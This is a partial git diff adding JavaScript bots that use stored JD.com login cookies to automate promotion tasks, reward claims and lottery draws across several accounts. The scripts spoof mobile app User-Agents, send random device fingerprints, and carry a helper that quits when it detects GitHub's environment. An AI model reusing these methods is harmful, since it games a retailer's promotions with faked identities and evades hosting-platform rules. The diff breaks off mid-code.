(iPhone; CPU iPhone OS 14_2_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148`, + "Accept-Language": "zh-cn", + }, + }; + } + return new Promise(async (resolve) => { + $.get(taskUrl(`user/QueryUserInfo`), (err, resp, data) => { + try { + const { + iret, + SceneList = {}, + XbStatus: { XBDetail = [], dwXBRemainCnt } = {}, + ddwMoney, + dwIsNewUser, + sErrMsg, + strMyShareId, + strPin, + } = JSON.parse(data); + console.log(`【京东账号${$.index}(${$.UserName})财富岛】${strMyShareId}`) + } catch (e) { + $.logErr(e, resp); + } finally { + resolve(); + } + }); + }); +} +//领现金 +function getJdCash() { + function taskUrl(functionId, body = {}) { + return { + url: `https://api.m.jd.com/client.action?functionId=${functionId}&body=${escape(JSON.stringify(body))}&appid=CashRewardMiniH5Env&appid=9.1.0`, + headers: { + 'Cookie': cookie, + 'Host': 'api.m.jd.com', + 'Connection': 'keep-alive', + 'Content-Type': 'application/json', + 'Referer': 'http://wq.jd.com/wxapp/pages/hd-interaction/index/index', + 'User-Agent': $.isNode() ? (process.env.JD_USER_AGENT ? process.env.JD_USER_AGENT : (require('./USER_AGENTS').USER_AGENT)) : ($.getdata('JDUA') ? $.getdata('JDUA') : "jdapp;iPhone;9.4.4;14.3;network/4g;Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1"), + 'Accept-Language': 'zh-cn', + 'Accept-Encoding': 'gzip, deflate, br', + } + } + } + return new Promise((resolve) => { + $.get(taskUrl("cash_mob_home",), async (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + if (safeGet(data)) { + data = JSON.parse(data); + if(data.code===0 && data.data.result){ + console.log(`【京东账号${$.index}(${$.UserName})签到领现金】${data.data.result.inviteCode}`); + } + } + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(data); + } + }) + }) +} +async function getShareCode() { + console.log(`======账号${$.index}开始======`) + await getJDFruit() + await getJdPet() + await getPlantBean() + await getJdFactory() + await getJxFactory() + await getJxNc() + await getJdZZ() + await getJoy() + await getSgmh() + await getCFD() + await getJdCash() + console.log(`======账号${$.index}结束======\n`) +} + +function safeGet(data) { + try { + if (typeof JSON.parse(data) == "object") { + return true; + } + } catch (e) { + console.log(e); + console.log(`京东服务器访问数据为空,请检查自身设备网络情况`); + return false; + } +} +function TotalBean() { + return new Promise(async resolve => { + const options = { + "url": `https://wq.jd.com/user/info/QueryJDUserInfo?sceneval=2`, + "headers": { + "Accept": "application/json,text/plain, */*", + "Content-Type": "application/x-www-form-urlencoded", + "Accept-Encoding": "gzip, deflate, br", + "Accept-Language": "zh-cn", + "Connection": "keep-alive", + "Cookie": cookie, + "Referer": "https://wqs.jd.com/my/jingdou/my.shtml?sceneval=2", + "User-Agent": $.isNode() ? (process.env.JD_USER_AGENT ? process.env.JD_USER_AGENT : (require('./USER_AGENTS').USER_AGENT)) : ($.getdata('JDUA') ? $.getdata('JDUA') : "jdapp;iPhone;9.4.4;14.3;network/4g;Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1") + } + } + $.post(options, (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + if (data) { + data = JSON.parse(data); + if (data['retcode'] === 13) { + $.isLogin = false; //cookie过期 + return + } + if (data['retcode'] === 0) { + $.nickName = (data['base'] && data['base'].nickname) || $.UserName; + } else { + $.nickName = $.UserName + } + } else { + console.log(`京东服务器返回空数据`) + } + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(); + } + }) + }) +} +function taskPostUrl(function_id, body = {}, function_id2) { + let url = `${JD_API_HOST}`; + if (function_id2) { + url += `?functionId=${function_id2}`; + } + return { + url, + body: `functionId=${function_id}&body=${escape( + JSON.stringify(body) + )}&client=wh5&clientVersion=9.1.0`, + headers: { + Cookie: cookie, + origin: "https://h5.m.jd.com", + referer: "https://h5.m.jd.com/", + "Content-Type": "application/x-www-form-urlencoded", + "User-Agent": $.isNode() + ? process.env.JD_USER_AGENT + ? process.env.JD_USER_AGENT + : "jdapp;iPhone;9.4.4;14.3;network/4g;Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1" + : $.getdata("JDUA") + ? $.getdata("JDUA") + : "jdapp;iPhone;9.4.4;14.3;network/4g;Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1", + }, + }; +} +function jsonParse(str) { + if (typeof str == "string") { + try { + return JSON.parse(str); + } catch (e) { + console.log(e); + $.msg($.name, '', '不要在BoxJS手动复制粘贴修改cookie') + return []; + } + } +} +// prettier-ignore +function Env(t,e){"undefined"!=typeof process&&JSON.stringify(process.env).indexOf("GITHUB")>-1&&process.exit(0);class s{constructor(t){this.env=t}send(t,e="GET"){t="string"==typeof t?{url:t}:t;let s=this.get;return"POST"===e&&(s=this.post),new Promise((e,i)=>{s.call(this,t,(t,s,r)=>{t?i(t):e(s)})})}get(t){return this.send.call(this.env,t)}post(t){return this.send.call(this.env,t,"POST")}}return new class{constructor(t,e){this.name=t,this.http=new s(this),this.data=null,this.dataFile="box.dat",this.logs=[],this.isMute=!1,this.isNeedRewrite=!1,this.logSeparator="\n",this.startTime=(new Date).getTime(),Object.assign(this,e),this.log("",`🔔${this.name}, 开始!`)}isNode(){return"undefined"!=typeof module&&!!module.exports}isQuanX(){return"undefined"!=typeof $task}isSurge(){return"undefined"!=typeof $httpClient&&"undefined"==typeof $loon}isLoon(){return"undefined"!=typeof $loon}toObj(t,e=null){try{return JSON.parse(t)}catch{return e}}toStr(t,e=null){try{return JSON.stringify(t)}catch{return e}}getjson(t,e){let s=e;const i=this.getdata(t);if(i)try{s=JSON.parse(this.getdata(t))}catch{}return s}setjson(t,e){try{return this.setdata(JSON.stringify(t),e)}catch{return!1}}getScript(t){return new Promise(e=>{this.get({url:t},(t,s,i)=>e(i))})}runScript(t,e){return new Promise(s=>{let i=this.getdata("@chavy_boxjs_userCfgs.httpapi");i=i?i.replace(/\n/g,"").trim():i;let r=this.getdata("@chavy_boxjs_userCfgs.httpapi_timeout");r=r?1*r:20,r=e&&e.timeout?e.timeout:r;const[o,h]=i.split("@"),n={url:`http://${h}/v1/scripting/evaluate`,body:{script_text:t,mock_type:"cron",timeout:r},headers:{"X-Key":o,Accept:"*/*"}};this.post(n,(t,e,i)=>s(i))}).catch(t=>this.logErr(t))}loaddata(){if(!this.isNode())return{};{this.fs=this.fs?this.fs:require("fs"),this.path=this.path?this.path:require("path");const t=this.path.resolve(this.dataFile),e=this.path.resolve(process.cwd(),this.dataFile),s=this.fs.existsSync(t),i=!s&&this.fs.existsSync(e);if(!s&&!i)return{};{const i=s?t:e;try{return JSON.parse(this.fs.readFileSync(i))}catch(t){return{}}}}}writedata(){if(this.isNode()){this.fs=this.fs?this.fs:require("fs"),this.path=this.path?this.path:require("path");const t=this.path.resolve(this.dataFile),e=this.path.resolve(process.cwd(),this.dataFile),s=this.fs.existsSync(t),i=!s&&this.fs.existsSync(e),r=JSON.stringify(this.data);s?this.fs.writeFileSync(t,r):i?this.fs.writeFileSync(e,r):this.fs.writeFileSync(t,r)}}lodash_get(t,e,s){const i=e.replace(/\[(\d+)\]/g,".$1").split(".");let r=t;for(const t of i)if(r=Object(r)[t],void 0===r)return s;return r}lodash_set(t,e,s){return Object(t)!==t?t:(Array.isArray(e)||(e=e.toString().match(/[^.[\]]+/g)||[]),e.slice(0,-1).reduce((t,s,i)=>Object(t[s])===t[s]?t[s]:t[s]=Math.abs(e[i+1])>>0==+e[i+1]?[]:{},t)[e[e.length-1]]=s,t)}getdata(t){let e=this.getval(t);if(/^@/.test(t)){const[,s,i]=/^@(.*?)\.(.*?)$/.exec(t),r=s?this.getval(s):"";if(r)try{const t=JSON.parse(r);e=t?this.lodash_get(t,i,""):e}catch(t){e=""}}return e}setdata(t,e){let s=!1;if(/^@/.test(e)){const[,i,r]=/^@(.*?)\.(.*?)$/.exec(e),o=this.getval(i),h=i?"null"===o?null:o||"{}":"{}";try{const e=JSON.parse(h);this.lodash_set(e,r,t),s=this.setval(JSON.stringify(e),i)}catch(e){const o={};this.lodash_set(o,r,t),s=this.setval(JSON.stringify(o),i)}}else s=this.setval(t,e);return s}getval(t){return this.isSurge()||this.isLoon()?$persistentStore.read(t):this.isQuanX()?$prefs.valueForKey(t):this.isNode()?(this.data=this.loaddata(),this.data[t]):this.data&&this.data[t]||null}setval(t,e){return this.isSurge()||this.isLoon()?$persistentStore.write(t,e):this.isQuanX()?$prefs.setValueForKey(t,e):this.isNode()?(this.data=this.loaddata(),this.data[e]=t,this.writedata(),!0):this.data&&this.data[e]||null}initGotEnv(t){this.got=this.got?this.got:require("got"),this.cktough=this.cktough?this.cktough:require("tough-cookie"),this.ckjar=this.ckjar?this.ckjar:new this.cktough.CookieJar,t&&(t.headers=t.headers?t.headers:{},void 0===t.headers.Cookie&&void 0===t.cookieJar&&(t.cookieJar=this.ckjar))}get(t,e=(()=>{})){t.headers&&(delete t.headers["Content-Type"],delete t.headers["Content-Length"]),this.isSurge()||this.isLoon()?(this.isSurge()&&this.isNeedRewrite&&(t.headers=t.headers||{},Object.assign(t.headers,{"X-Surge-Skip-Scripting":!1})),$httpClient.get(t,(t,s,i)=>{!t&&s&&(s.body=i,s.statusCode=s.status),e(t,s,i)})):this.isQuanX()?(this.isNeedRewrite&&(t.opts=t.opts||{},Object.assign(t.opts,{hints:!1})),$task.fetch(t).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>e(t))):this.isNode()&&(this.initGotEnv(t),this.got(t).on("redirect",(t,e)=>{try{if(t.headers["set-cookie"]){const s=t.headers["set-cookie"].map(this.cktough.Cookie.parse).toString();s&&this.ckjar.setCookieSync(s,null),e.cookieJar=this.ckjar}}catch(t){this.logErr(t)}}).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>{const{message:s,response:i}=t;e(s,i,i&&i.body)}))}post(t,e=(()=>{})){if(t.body&&t.headers&&!t.headers["Content-Type"]&&(t.headers["Content-Type"]="application/x-www-form-urlencoded"),t.headers&&delete t.headers["Content-Length"],this.isSurge()||this.isLoon())this.isSurge()&&this.isNeedRewrite&&(t.headers=t.headers||{},Object.assign(t.headers,{"X-Surge-Skip-Scripting":!1})),$httpClient.post(t,(t,s,i)=>{!t&&s&&(s.body=i,s.statusCode=s.status),e(t,s,i)});else if(this.isQuanX())t.method="POST",this.isNeedRewrite&&(t.opts=t.opts||{},Object.assign(t.opts,{hints:!1})),$task.fetch(t).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>e(t));else if(this.isNode()){this.initGotEnv(t);const{url:s,...i}=t;this.got.post(s,i).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>{const{message:s,response:i}=t;e(s,i,i&&i.body)})}}time(t,e=null){const s=e?new Date(e):new Date;let i={"M+":s.getMonth()+1,"d+":s.getDate(),"H+":s.getHours(),"m+":s.getMinutes(),"s+":s.getSeconds(),"q+":Math.floor((s.getMonth()+3)/3),S:s.getMilliseconds()};/(y+)/.test(t)&&(t=t.replace(RegExp.$1,(s.getFullYear()+"").substr(4-RegExp.$1.length)));for(let e in i)new RegExp("("+e+")").test(t)&&(t=t.replace(RegExp.$1,1==RegExp.$1.length?i[e]:("00"+i[e]).substr((""+i[e]).length)));return t}msg(e=t,s="",i="",r){const o=t=>{if(!t)return t;if("string"==typeof t)return this.isLoon()?t:this.isQuanX()?{"open-url":t}:this.isSurge()?{url:t}:void 0;if("object"==typeof t){if(this.isLoon()){let e=t.openUrl||t.url||t["open-url"],s=t.mediaUrl||t["media-url"];return{openUrl:e,mediaUrl:s}}if(this.isQuanX()){let e=t["open-url"]||t.url||t.openUrl,s=t["media-url"]||t.mediaUrl;return{"open-url":e,"media-url":s}}if(this.isSurge()){let e=t.url||t.openUrl||t["open-url"];return{url:e}}}};if(this.isMute||(this.isSurge()||this.isLoon()?$notification.post(e,s,i,o(r)):this.isQuanX()&&$notify(e,s,i,o(r))),!this.isMuteLog){let t=["","==============📣系统通知📣=============="];t.push(e),s&&t.push(s),i&&t.push(i),console.log(t.join("\n")),this.logs=this.logs.concat(t)}}log(...t){t.length>0&&(this.logs=[...this.logs,...t]),console.log(t.join(this.logSeparator))}logErr(t,e){const s=!this.isSurge()&&!this.isQuanX()&&!this.isLoon();s?this.log("",`❗️${this.name}, 错误!`,t.stack):this.log("",`❗️${this.name}, 错误!`,t)}wait(t){return new Promise(e=>setTimeout(e,t))}done(t={}){const e=(new Date).getTime(),s=(e-this.startTime)/1e3;this.log("",`🔔${this.name}, 结束! 🕛 ${s} 秒`),this.log(),(this.isSurge()||this.isQuanX()||this.isLoon())&&$done(t)}}(t,e)} diff --git a/jd_gjlh.js b/jd_gjlh.js new file mode 100644 index 0000000..0dbe24f --- /dev/null +++ b/jd_gjlh.js @@ -0,0 +1,339 @@ +/* +[task_local] +#4月京东国际联合活动 +31 1 10-18/3 4 * jd_gjlh.js, tag=4月京东国际联合活动, enabled=true + +from https://github.com/KingRan/KR/blob/main/jd_gjlh.js + */ +const $ = new Env('4月京东国际联合活动'); +const notify = $.isNode() ? require('./sendNotify') : ''; +//Node.js用户请在jdCookie.js处填写京东ck; +const jdCookieNode = $.isNode() ? require('./jdCookie.js') : ''; +let jdNotify = true;//是否关闭通知,false打开通知推送,true关闭通知推送 +$.configCode = "0fa7512ffa1742b5a5f29c1c63bd9a6e"; +//IOS等用户直接用NobyDa的jd cookie +let cookiesArr = [], cookie = '', message; +if ($.isNode()) { + Object.keys(jdCookieNode).forEach((item) => { + cookiesArr.push(jdCookieNode[item]) + }) + if (process.env.JD_DEBUG && process.env.JD_DEBUG === 'false') console.log = () => { + }; +} else { + cookiesArr = [$.getdata('CookieJD'), $.getdata('CookieJD2'), ...jsonParse($.getdata('CookiesJD') || "[]").map(item => item.cookie)].filter(item => !!item); +} +!(async () => { + console.log('入口下拉:https://prodev.m.jd.com/mall/active/48Ki4bRbQFE4izpBis95dxZJSsTq/index.html') + if (!cookiesArr[0]) { + $.msg($.name, '【提示】请先获取京东账号一cookie\n直接使用NobyDa的京东签到获取', 'https://bean.m.jd.com/bean/signIndex.action', { "open-url": "https://bean.m.jd.com/bean/signIndex.action" }); + return; + } + for (let i = 0; i < cookiesArr.length; i++) { + if (cookiesArr[i]) { + cookie = cookiesArr[i]; + $.UserName = decodeURIComponent(cookie.match(/pt_pin=([^; ]+)(?=;?)/) && cookie.match(/pt_pin=([^; ]+)(?=;?)/)[1]) + $.index = i + 1; + $.isLogin = true; + $.nickName = ''; + message = ''; + console.log(`\n******开始【京东账号${$.index}】${$.nickName || $.UserName}*********\n`); + if (!$.isLogin) { + $.msg($.name, `【提示】cookie已失效`, `京东账号${$.index} ${$.nickName || $.UserName}\n请重新登录获取\nhttps://bean.m.jd.com/bean/signIndex.action`, { "open-url": "https://bean.m.jd.com/bean/signIndex.action" }); + + if ($.isNode()) { + await notify.sendNotify(`${$.name}cookie已失效 - ${$.UserName}`, `京东账号${$.index} ${$.UserName}\n请重新登录获取cookie`); + } + continue + } + await jdmodule(); + //await showMsg(); + } + } +})() + .catch((e) => { + $.log('', `❌ ${$.name}, 失败! 原因: ${e}!`, '') + }) + .finally(() => { + $.done(); + }) + +function showMsg() { + return new Promise(resolve => { + $.msg($.name, '', `【京东账号${$.index}】${$.nickName}\n${message}`); + resolve() + }) +} + + +async function jdmodule() { + let runTime = 0; + do { + await getinfo(); //获取任务 + $.hasFinish = true; + await run(); + runTime++; + } while (!$.hasFinish && runTime < 10); + await getinfo(); + console.log("开始抽奖"); + for (let x = 0; x < $.chanceLeft; x++) { + await join(); + await $.wait(1500) + } +} + +//运行 +async function run() { + try { + for (let vo of $.taskinfo) { + if (vo.hasFinish === true) { + continue; + } + if (vo.taskName == '每日签到') { + console.log(`开始做${vo.taskName}:${vo.taskItem.itemName}`); + await doTask(vo.taskType, vo.taskItem.itemId, vo.id); + await getReward(vo.taskType, vo.taskItem.itemId, vo.id); + } + if (vo.taskType == 3) { + console.log(`开始做${vo.taskName}:${vo.taskItem.itemName}`); + await getinfo2(vo.taskItem.itemLink); + await $.wait(1000 * vo.viewTime) + await doTask(vo.taskType, vo.taskItem.itemId, vo.id); + await getReward(vo.taskType, vo.taskItem.itemId, vo.id); + } + if (vo.taskType == 4) { + console.log(`开始做${vo.taskName}:${vo.taskItem.itemName}`); + await doTask(vo.taskType, vo.taskItem.itemId, vo.id); + await getReward(vo.taskType, vo.taskItem.itemId, vo.id); + } + if (vo.taskType == 2) { + console.log(`开始做${vo.taskName}:${vo.taskItem.itemName}`); + await doTask(vo.taskType, vo.taskItem.itemId, vo.id); + await getReward(vo.taskType, vo.taskItem.itemId, vo.id); + } + $.hasFinish = false; + } + } catch (e) { + console.log(e); + } +} + + +// 获取任务 +function getinfo() { + return new Promise(resolve => { + $.get({ + url: `https://jdjoy.jd.com/module/task/draw/get?configCode=${$.configCode}&unionCardCode=`, + headers: { + 'Host': 'jdjoy.jd.com', + 'accept': '*/*', + 'content-type': 'application/json', + "Referer": "https://prodev.m.jd.com/mall/active/2Rkjx8aT5eKaQnUzn8dwcR6jNanj/index.html", + "origin": "https://prodev.m.jd.com", + 'X-Requested-With': 'com.jingdong.app.mall', + "User-Agent": $.isNode() ? (process.env.JD_USER_AGENT ? process.env.JD_USER_AGENT : (require('./USER_AGENTS').USER_AGENT)) : ($.getdata('JDUA') ? $.getdata('JDUA') : "jdapp;iPhone;9.4.4;14.3;network/4g;Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1"), + 'accept-language': 'zh-Hans-CN;q=1', + 'cookie': cookie + }, + }, async (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} getinfo请求失败,请检查网路重试`) + } else { + data = JSON.parse(data); + $.chanceLeft = data.data.chanceLeft; + if (data.success == true) { + $.taskinfo = data.data.taskConfig + } else { + console.log(data.errorMessage); + } + } + } catch (e) { + $.logErr(e, resp); + } finally { + resolve(); + } + }) + }) +} + +//抽奖 +function join() { + return new Promise(async (resolve) => { + $.get({ + url: `https://jdjoy.jd.com/module/task/draw/join?configCode=${$.configCode}&fp=${randomWord(false, 32, 32)}&eid=`, + headers: { + 'Host': 'jdjoy.jd.com', + 'accept': '*/*', + 'content-type': 'application/json', + "Referer": "https://prodev.m.jd.com/mall/active/2Rkjx8aT5eKaQnUzn8dwcR6jNanj/index.html", + "origin": "https://prodev.m.jd.com", + 'X-Requested-With': 'com.jingdong.app.mall', + "User-Agent": $.isNode() ? (process.env.JD_USER_AGENT ? process.env.JD_USER_AGENT : (require('./USER_AGENTS').USER_AGENT)) : ($.getdata('JDUA') ? $.getdata('JDUA') : "jdapp;iPhone;9.4.4;14.3;network/4g;Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1"), + 'accept-language': 'zh-Hans-CN;q=1', + 'cookie': cookie + }, + }, async (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`join请求失败,请检查网路重试`) + } else { + data = JSON.parse(data); + if (data.success == true) { + console.log(`抽奖结果:${data.data.rewardName}`); + } + else { + console.log(data.errorMessage); + } + } + } catch (e) { + $.logErr(e, resp); + } finally { + resolve(); + } + }) + }) +} + +//做任务 +function doTask(taskType, itemId, taskid) { + return new Promise(resolve => { + let options = taskPostUrl('doTask', `{"configCode":"${$.configCode}","taskType":${taskType},"itemId":"${itemId}","taskId":${taskid}}`) + $.post(options, async (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`); + console.log(`doTask 请求失败,请检查网路重试`); + } else { + data = JSON.parse(data); + if (data.success == true) { + console.log("任务成功"); + } else { + console.log(data.errorMessage); + } + } + } catch (e) { + $.logErr(e, resp); + } finally { + resolve(); + } + }); + }); +} + + +//领取任务奖励 +function getReward(taskType, itemId, taskid) { + return new Promise(resolve => { + let options = taskPostUrl('getReward', `{"configCode":"${$.configCode}","taskType":${taskType},"itemId":"${itemId}","taskId":${taskid}}`) + $.post(options, async (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`); + console.log(`getReward 请求失败,请检查网路重试`); + } else { + data = JSON.parse(data); + if (data.success == true) { + console.log("任务奖励领取成功"); + } else { + console.log(data.errorMessage); + } + } + } catch (e) { + $.logErr(e, resp); + } finally { + resolve(); + } + }); + }); +} + +function getinfo2(url2) { + return new Promise(resolve => { + $.get({ + url: url2, + headers: { + 'Host': 'pro.m.jd.com', + 'accept': '*/*', + 'content-type': 'application/x-www-form-urlencoded', + 'referer': '', + "User-Agent": $.isNode() ? (process.env.JD_USER_AGENT ? process.env.JD_USER_AGENT : (require('./USER_AGENTS').USER_AGENT)) : ($.getdata('JDUA') ? $.getdata('JDUA') : "jdapp;iPhone;9.4.4;14.3;network/4g;Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1"), + 'accept-language': 'zh-Hans-CN;q=1', + 'cookie': cookie + }, + }, (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`getinfo2 API请求失败,请检查网路重试`) + } + } catch (e) { + $.logErr(e, resp); + } finally { + resolve(data); + } + }) + }) +} + +function taskPostUrl(function_id, body = {}) { + return { + url: `https://jdjoy.jd.com/module/task/draw/${function_id}`, + body: `${(body)}`, + headers: { + "Accept": "application/json, text/plain, */*", + "Accept-Encoding": "gzip, deflate, br", + "Accept-Language": "zh-cn", + "Connection": "keep-alive", + "Content-Type": "application/json", + "Host": "jdjoy.jd.com", + "x-requested-with": "com.jingdong.app.mall", + "Referer": "https://prodev.m.jd.com/mall/active/2Rkjx8aT5eKaQnUzn8dwcR6jNanj/index.html", + "origin": "https://prodev.m.jd.com", + "Cookie": cookie, + "User-Agent": $.isNode() ? (process.env.JD_USER_AGENT ? process.env.JD_USER_AGENT : (require('./USER_AGENTS').USER_AGENT)) : ($.getdata('JDUA') ? $.getdata('JDUA') : "jdapp;iPhone;9.4.4;14.3;network/4g;Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1"), + } + } +} + +function safeGet(data) { + try { + if (typeof JSON.parse(data) == "object") { + return true; + } + } catch (e) { + console.log(e); + console.log(`京东服务器访问数据为空,请检查自身设备网络情况`); + return false; + } +} +function jsonParse(str) { + if (typeof str == "string") { + try { + return JSON.parse(str); + } catch (e) { + console.log(e); + $.msg($.name, '', '请勿随意在BoxJs输入框修改内容\n建议通过脚本去获取cookie') + return []; + } + } +} + +function randomWord(randomFlag, min, max) { + var str = "", + range = min, + arr = ['0', '1', '2', '3', '4', '5', '6', '7', '8', '9', 'a', 'b', 'c', 'd', 'e', 'f', 'g', 'h', 'i', 'j', 'k', 'l', 'm', 'n', 'o', 'p', 'q', 'r', 's', 't', 'u', 'v', 'w', 'x', 'y', 'z']; + + // 随机产生 + if (randomFlag) { + range = Math.round(Math.random() * (max - min)) + min; + } + for (var i = 0; i < range; i++) { + pos = Math.round(Math.random() * (arr.length - 1)); + str += arr[pos]; + } + return str; +} +// prettier-ignore +function Env(t,e){"undefined"!=typeof process&&JSON.stringify(process.env).indexOf("GITHUB")>-1&&process.exit(0);class s{constructor(t){this.env=t}send(t,e="GET"){t="string"==typeof t?{url:t}:t;let s=this.get;return"POST"===e&&(s=this.post),new Promise((e,i)=>{s.call(this,t,(t,s,r)=>{t?i(t):e(s)})})}get(t){return this.send.call(this.env,t)}post(t){return this.send.call(this.env,t,"POST")}}return new class{constructor(t,e){this.name=t,this.http=new s(this),this.data=null,this.dataFile="box.dat",this.logs=[],this.isMute=!1,this.isNeedRewrite=!1,this.logSeparator="\n",this.startTime=(new Date).getTime(),Object.assign(this,e),this.log("",`🔔${this.name}, 开始!`)}isNode(){return"undefined"!=typeof module&&!!module.exports}isQuanX(){return"undefined"!=typeof $task}isSurge(){return"undefined"!=typeof $httpClient&&"undefined"==typeof $loon}isLoon(){return"undefined"!=typeof $loon}toObj(t,e=null){try{return JSON.parse(t)}catch{return e}}toStr(t,e=null){try{return JSON.stringify(t)}catch{return e}}getjson(t,e){let s=e;const i=this.getdata(t);if(i)try{s=JSON.parse(this.getdata(t))}catch{}return s}setjson(t,e){try{return this.setdata(JSON.stringify(t),e)}catch{return!1}}getScript(t){return new Promise(e=>{this.get({url:t},(t,s,i)=>e(i))})}runScript(t,e){return new Promise(s=>{let i=this.getdata("@chavy_boxjs_userCfgs.httpapi");i=i?i.replace(/\n/g,"").trim():i;let r=this.getdata("@chavy_boxjs_userCfgs.httpapi_timeout");r=r?1*r:20,r=e&&e.timeout?e.timeout:r;const[o,h]=i.split("@"),n={url:`http://${h}/v1/scripting/evaluate`,body:{script_text:t,mock_type:"cron",timeout:r},headers:{"X-Key":o,Accept:"*/*"}};this.post(n,(t,e,i)=>s(i))}).catch(t=>this.logErr(t))}loaddata(){if(!this.isNode())return{};{this.fs=this.fs?this.fs:require("fs"),this.path=this.path?this.path:require("path");const t=this.path.resolve(this.dataFile),e=this.path.resolve(process.cwd(),this.dataFile),s=this.fs.existsSync(t),i=!s&&this.fs.existsSync(e);if(!s&&!i)return{};{const i=s?t:e;try{return JSON.parse(this.fs.readFileSync(i))}catch(t){return{}}}}}writedata(){if(this.isNode()){this.fs=this.fs?this.fs:require("fs"),this.path=this.path?this.path:require("path");const t=this.path.resolve(this.dataFile),e=this.path.resolve(process.cwd(),this.dataFile),s=this.fs.existsSync(t),i=!s&&this.fs.existsSync(e),r=JSON.stringify(this.data);s?this.fs.writeFileSync(t,r):i?this.fs.writeFileSync(e,r):this.fs.writeFileSync(t,r)}}lodash_get(t,e,s){const i=e.replace(/\[(\d+)\]/g,".$1").split(".");let r=t;for(const t of i)if(r=Object(r)[t],void 0===r)return s;return r}lodash_set(t,e,s){return Object(t)!==t?t:(Array.isArray(e)||(e=e.toString().match(/[^.[\]]+/g)||[]),e.slice(0,-1).reduce((t,s,i)=>Object(t[s])===t[s]?t[s]:t[s]=Math.abs(e[i+1])>>0==+e[i+1]?[]:{},t)[e[e.length-1]]=s,t)}getdata(t){let e=this.getval(t);if(/^@/.test(t)){const[,s,i]=/^@(.*?)\.(.*?)$/.exec(t),r=s?this.getval(s):"";if(r)try{const t=JSON.parse(r);e=t?this.lodash_get(t,i,""):e}catch(t){e=""}}return e}setdata(t,e){let s=!1;if(/^@/.test(e)){const[,i,r]=/^@(.*?)\.(.*?)$/.exec(e),o=this.getval(i),h=i?"null"===o?null:o||"{}":"{}";try{const e=JSON.parse(h);this.lodash_set(e,r,t),s=this.setval(JSON.stringify(e),i)}catch(e){const o={};this.lodash_set(o,r,t),s=this.setval(JSON.stringify(o),i)}}else s=this.setval(t,e);return s}getval(t){return this.isSurge()||this.isLoon()?$persistentStore.read(t):this.isQuanX()?$prefs.valueForKey(t):this.isNode()?(this.data=this.loaddata(),this.data[t]):this.data&&this.data[t]||null}setval(t,e){return this.isSurge()||this.isLoon()?$persistentStore.write(t,e):this.isQuanX()?$prefs.setValueForKey(t,e):this.isNode()?(this.data=this.loaddata(),this.data[e]=t,this.writedata(),!0):this.data&&this.data[e]||null}initGotEnv(t){this.got=this.got?this.got:require("got"),this.cktough=this.cktough?this.cktough:require("tough-cookie"),this.ckjar=this.ckjar?this.ckjar:new this.cktough.CookieJar,t&&(t.headers=t.headers?t.headers:{},void 0===t.headers.Cookie&&void 0===t.cookieJar&&(t.cookieJar=this.ckjar))}get(t,e=(()=>{})){t.headers&&(delete t.headers["Content-Type"],delete t.headers["Content-Length"]),this.isSurge()||this.isLoon()?(this.isSurge()&&this.isNeedRewrite&&(t.headers=t.headers||{},Object.assign(t.headers,{"X-Surge-Skip-Scripting":!1})),$httpClient.get(t,(t,s,i)=>{!t&&s&&(s.body=i,s.statusCode=s.status),e(t,s,i)})):this.isQuanX()?(this.isNeedRewrite&&(t.opts=t.opts||{},Object.assign(t.opts,{hints:!1})),$task.fetch(t).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>e(t))):this.isNode()&&(this.initGotEnv(t),this.got(t).on("redirect",(t,e)=>{try{if(t.headers["set-cookie"]){const s=t.headers["set-cookie"].map(this.cktough.Cookie.parse).toString();s&&this.ckjar.setCookieSync(s,null),e.cookieJar=this.ckjar}}catch(t){this.logErr(t)}}).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>{const{message:s,response:i}=t;e(s,i,i&&i.body)}))}post(t,e=(()=>{})){if(t.body&&t.headers&&!t.headers["Content-Type"]&&(t.headers["Content-Type"]="application/x-www-form-urlencoded"),t.headers&&delete 